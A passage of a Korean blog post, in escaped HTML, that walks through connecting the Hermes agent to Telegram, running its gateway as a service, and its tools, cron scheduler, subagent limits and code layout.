this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;388&quot; height=&quot;633&quot; data-filename=&quot;KakaoTalk_Photo_2026-01-29-00-33-02.jpeg&quot; data-origin-width=&quot;864&quot; data-origin-height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 2: 내 사용자 ID 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Telegram에서 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://t.me/userinfobot&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@userinfobot&lt;/a&gt;에게 아무 메시지나 보내면 숫자 ID(예: &lt;code&gt;123456789&lt;/code&gt;)를 알려준다. username이 아니라 이 숫자 ID가 필요하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;814&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nm7r6/dJMcaibRYoG/0oEMQv073kG7hkxGBiEiJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nm7r6/dJMcaibRYoG/0oEMQv073kG7hkxGBiEiJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nm7r6/dJMcaibRYoG/0oEMQv073kG7hkxGBiEiJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNm7r6%2FdJMcaibRYoG%2F0oEMQv073kG7hkxGBiEiJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;354&quot; height=&quot;324&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;814&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;1830&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lnLL7/dJMcabKAWzl/82HWm6P8WejDOosANgx5C1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lnLL7/dJMcabKAWzl/82HWm6P8WejDOosANgx5C1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lnLL7/dJMcabKAWzl/82HWm6P8WejDOosANgx5C1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlnLL7%2FdJMcabKAWzl%2F82HWm6P8WejDOosANgx5C1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;353&quot; height=&quot;734&quot; data-origin-width=&quot;880&quot; data-origin-height=&quot;1830&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 3: Hermes에 연결&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 방법 1: 대화형 설정 (추천)
hermes gateway setup
# &amp;rarr; Telegram 선택 &amp;rarr; 봇 토큰 입력 &amp;rarr; 사용자 ID 입력

# 방법 2: 수동 설정 (~/.hermes/.env에 추가)
TELEGRAM_BOT_TOKEN=123456789:ABCdefGHIjklMNOpqrSTUvwxYZ
TELEGRAM_ALLOWED_USERS=123456789    # 콤마로 여러 명 가능

# 게이트웨이 시작
hermes gateway&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) &amp;gt; hermes&amp;nbsp;gateway&amp;nbsp;setup&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W6zS3/dJMcah45CrB/AHyGPNN3wDgr9akdHpSmvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W6zS3/dJMcah45CrB/AHyGPNN3wDgr9akdHpSmvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W6zS3/dJMcah45CrB/AHyGPNN3wDgr9akdHpSmvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW6zS3%2FdJMcah45CrB%2FAHyGPNN3wDgr9akdHpSmvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;321&quot; height=&quot;232&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;572&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 아까 bot father가 발급해준 토큰 입력하고, user ids를 입력해주자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;818&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cldO6g/dJMcacJuAyq/JBnnkuVJD9wBfpRcgvPi9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cldO6g/dJMcacJuAyq/JBnnkuVJD9wBfpRcgvPi9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cldO6g/dJMcacJuAyq/JBnnkuVJD9wBfpRcgvPi9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcldO6g%2FdJMcacJuAyq%2FJBnnkuVJD9wBfpRcgvPi9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;356&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;818&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 4: Home Channel 설정 (선택)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cron 작업 결과나 알림을 받을 채팅방을 지정할 수 있다. Home channel ID를 물어보는데, 비워두면 &lt;code&gt;Skipped&lt;/code&gt; 처리 후 &quot;Use your user ID as the home channel? [Y/n]&quot;을 한 번 더 물어본다. &lt;b&gt;Y&lt;/b&gt;를 누르면 봇과의 DM이 홈 채널이 되어 cron 결과가 DM으로 도착한다. 나중에 바꾸고 싶으면 채팅에서 &lt;code&gt;/set-home&lt;/code&gt;을 입력하면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;168&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cs44i1/dJMcaiQpti9/kn1FKrHU5bZjMkZykXBnbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cs44i1/dJMcaiQpti9/kn1FKrHU5bZjMkZykXBnbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cs44i1/dJMcaiQpti9/kn1FKrHU5bZjMkZykXBnbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcs44i1%2FdJMcaiQpti9%2Fkn1FKrHU5bZjMkZykXBnbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1470&quot; height=&quot;168&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;168&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Step 5: 서비스 등록 + 테스트&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정이 끝나면 &quot;Install the gateway as a launchd service?&quot;를 물어본다. Y를 누르면 &lt;code&gt;~/Library/LaunchAgents/ai.hermes.gateway.plist&lt;/code&gt;에 서비스가 등록되고, 맥을 재부팅해도 게이트웨이가 자동으로 올라온다. (Linux에서는 systemd로 등록된다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Start the service now?&quot;에도 Y를 누르면 바로 시작된다. 이후 상태 확인과 로그는 다음 명령으로 가능하다:&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNsAod/dJMcaadPpGX/PtxPLA9K1yR28S4jZjJkGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNsAod/dJMcaadPpGX/PtxPLA9K1yR28S4jZjJkGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNsAod/dJMcaadPpGX/PtxPLA9K1yR28S4jZjJkGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNsAod%2FdJMcaadPpGX%2FPtxPLA9K1yR28S4jZjJkGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1470&quot; height=&quot;456&quot; data-origin-width=&quot;1470&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;hermes gateway status              # 게이트웨이 상태 확인
tail -f ~/.hermes/logs/gateway.log  # 실시간 로그 보기&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Telegram에서 봇에게 메시지를 보내본다. 응답이 오면 성공이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 하이 ~~ 라고 보내고 로그를 확인&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;1140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYZQy4/dJMcahYiTwy/kx53Gle5L1jb9gqRESYbuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYZQy4/dJMcahYiTwy/kx53Gle5L1jb9gqRESYbuK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYZQy4/dJMcahYiTwy/kx53Gle5L1jb9gqRESYbuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYZQy4%2FdJMcahYiTwy%2Fkx53Gle5L1jb9gqRESYbuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;622&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;1140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 로그에 찍히는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;532&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cpCfyE/dJMcahYiTzo/dPfaMB1Q59SaqSqbnEPQA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cpCfyE/dJMcahYiTzo/dPfaMB1Q59SaqSqbnEPQA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cpCfyE/dJMcahYiTzo/dPfaMB1Q59SaqSqbnEPQA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcpCfyE%2FdJMcahYiTzo%2FdPfaMB1Q59SaqSqbnEPQA0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2120&quot; height=&quot;532&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;532&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 응답이 왔다. 연결 성공~!&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;1142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dT6B3L/dJMcabcG82R/Z4ZTbjJYnnkKESv1vxWDWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dT6B3L/dJMcabcG82R/Z4ZTbjJYnnkKESv1vxWDWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dT6B3L/dJMcabcG82R/Z4ZTbjJYnnkKESv1vxWDWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdT6B3L%2FdJMcabcG82R%2FZ4ZTbjJYnnkKESv1vxWDWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;454&quot; height=&quot;604&quot; data-origin-width=&quot;858&quot; data-origin-height=&quot;1142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 12px 15px; margin: 10px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;보안 주의&lt;/b&gt;: &lt;code&gt;TELEGRAM_ALLOWED_USERS&lt;/code&gt;를 반드시 설정하라. 비워두면 기본적으로 &lt;b&gt;모든 사용자가 거부&lt;/b&gt;된다. 봇 토큰이 유출됐다면 BotFather에서 &lt;code&gt;/revoke&lt;/code&gt;로 즉시 폐기하라.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 Telegram에서 &quot;현재 프로젝트 상태 요약해줘&quot;라고 보내면 에이전트가 서버에서 실행하고 결과를 돌려준다. cron과 결합하면 &quot;매일 아침 9시에 AI 뉴스 요약을 Telegram으로 보내줘&quot; 같은 자동화도 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;40+ 내장 도구&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;README에는 &quot;40개 이상&quot;이라고 적혀 있는데, 실제로 &lt;code&gt;tools/&lt;/code&gt; 디렉토리를 열어보면 Python 파일이 50개 넘게 들어 있다(2026-04-07 기준). 파일 실행, 웹 검색, 코드 편집 같은 기본기부터 브라우저 제어, 이미지 분석까지 범위가 넓다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;cron 스케줄러&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;매일 아침 9시에 일일 보고서 만들어줘&quot; 같은 반복 작업을 걸어둘 수 있다. 내부적으로는 gateway가 60초마다 &lt;code&gt;tick()&lt;/code&gt;을 호출하고, 파일 기반 락(&lt;code&gt;~/.hermes/cron/.tick.lock&lt;/code&gt;)으로 중복 실행을 막는다. 결과가 없으면 알림을 보내지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/cron/scheduler.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cron/scheduler.py&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 60초 폴링이라서 실시간 반응이 필요한 작업에는 맞지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;병렬 서브에이전트&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5zKPZ/dJMb99TvanQ/AkKllWLgvwh3k6ajCNrUVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5zKPZ/dJMb99TvanQ/AkKllWLgvwh3k6ajCNrUVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5zKPZ/dJMb99TvanQ/AkKllWLgvwh3k6ajCNrUVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5zKPZ%2FdJMb99TvanQ%2FAkKllWLgvwh3k6ajCNrUVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;1118&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 작업을 여러 에이전트에 나눠서 동시에 처리할 수 있다. README 표현으로는 &quot;Spawn isolated subagents for parallel workstreams&quot;이다. (출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub README&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &quot;테스트 작성해&quot;와 &quot;문서 업데이트해&quot;를 동시에 돌릴 수 있다. 각 서브에이전트는 독립된 컨텍스트와 터미널 세션을 가지고 있어서 서로 간섭하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구현체는 &lt;code&gt;tools/delegate_tool.py&lt;/code&gt;이고(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/NousResearch/hermes-agent/blob/main/tools/delegate_tool.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;tools/delegate_tool.py&lt;/a&gt;), 소스코드를 보면 안전장치가 몇 가지 있다:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동시에 돌릴 수 있는 자식 에이전트는 &lt;b&gt;최대 3개&lt;/b&gt;(&lt;code&gt;MAX_CONCURRENT_CHILDREN = 3&lt;/code&gt;). 에이전트가 에이전트를 만들고 그 에이전트가 또 에이전트를 만드는 무한 재귀는 &lt;b&gt;깊이 2단계&lt;/b&gt;(&lt;code&gt;MAX_DEPTH = 2&lt;/code&gt;)에서 차단된다. 자식 에이전트에서는 &lt;code&gt;delegate_task&lt;/code&gt;, &lt;code&gt;memory&lt;/code&gt;, &lt;code&gt;execute_code&lt;/code&gt; 같은 위험한 도구도 사용할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호출은 단일 작업(&lt;code&gt;goal&lt;/code&gt;) 또는 배열 배치(&lt;code&gt;tasks&lt;/code&gt;)로 &lt;code&gt;delegate_task()&lt;/code&gt;에 넘기면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tFeqm/dJMcagyjipi/MewEs5JlrNKt7zanYnjN31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tFeqm/dJMcagyjipi/MewEs5JlrNKt7zanYnjN31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tFeqm/dJMcagyjipi/MewEs5JlrNKt7zanYnjN31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtFeqm%2FdJMcagyjipi%2FMewEs5JlrNKt7zanYnjN31%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1094&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언어 구성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드베이스의 93%가 Python이다. 나머지는 TeX, Shell 등이 조금씩 섞여 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent/languages&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API languages 엔드포인트 직접 조회&lt;/a&gt;, 비율은 직접 계산값)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디렉토리 구조&lt;/h3&gt;
&lt;pre class=&quot;vim&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;hermes-agent/
├── agent/          # 핵심 에이전트 루프&amp;middot;메모리&amp;middot;모델
│   ├── memory_manager.py
│   ├── memory_provider.py
│   ├── builtin_memory_provider.py
│   ├── skill_utils.py
│   ├── skill_commands.py
│   ├── smart_model_routing.py
│   ├── credential_pool.py
│   └── anthropic_adapter.py
├── gateway/        # 플랫폼별 메시징
│   ├── channel_directory.py
│   ├── config.py
│   ├── delivery.py
│   ├── session.py
│   └── platforms/
├── skills/         # 카테고리별 스킬 (24+ 폴더)
├── tools/          # 도구 모듈 (50+ Python 파일)
└── cron/           # 스케줄러
    ├── scheduler.py
    └── jobs.py&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/NousResearch/hermes-agent/git/trees/HEAD?recursive=1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API git/trees 직접 조회&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;agent/&lt;/code&gt;가 에이전트 루프를 돌리고, &lt;code&gt;gateway/&lt;/code&gt;가 메시징 입출력을 처리하고, &lt;code&gt;skills/&lt;/code&gt;에 학습된 스킬이 쌓이고, &lt;code&gt;tools/&lt;/code&gt;에 실행 도구가 모여 있다. 역할별로 디렉토리가 나뉘어 있어서 코드를 따라가기 수월하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;UV 패키지 매니저&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;install.sh&lt;/code&gt;는 &lt;code&gt;uv&lt;/code&gt;를 사용해 Python 가상환경과 의존성 설치를 구성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 소스코드 핵심 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자가학습의 실제 구현: 스킬 시스템&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스킬은 구조화된 마크다운 파일 형식으로 저장된다. &lt;code&gt;agent/skill_utils.py&lt;/code&gt;가 YAML frontmatter를 파싱해 스킬 메타데이터를 관리한다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# skill_utils.py 핵심 상수
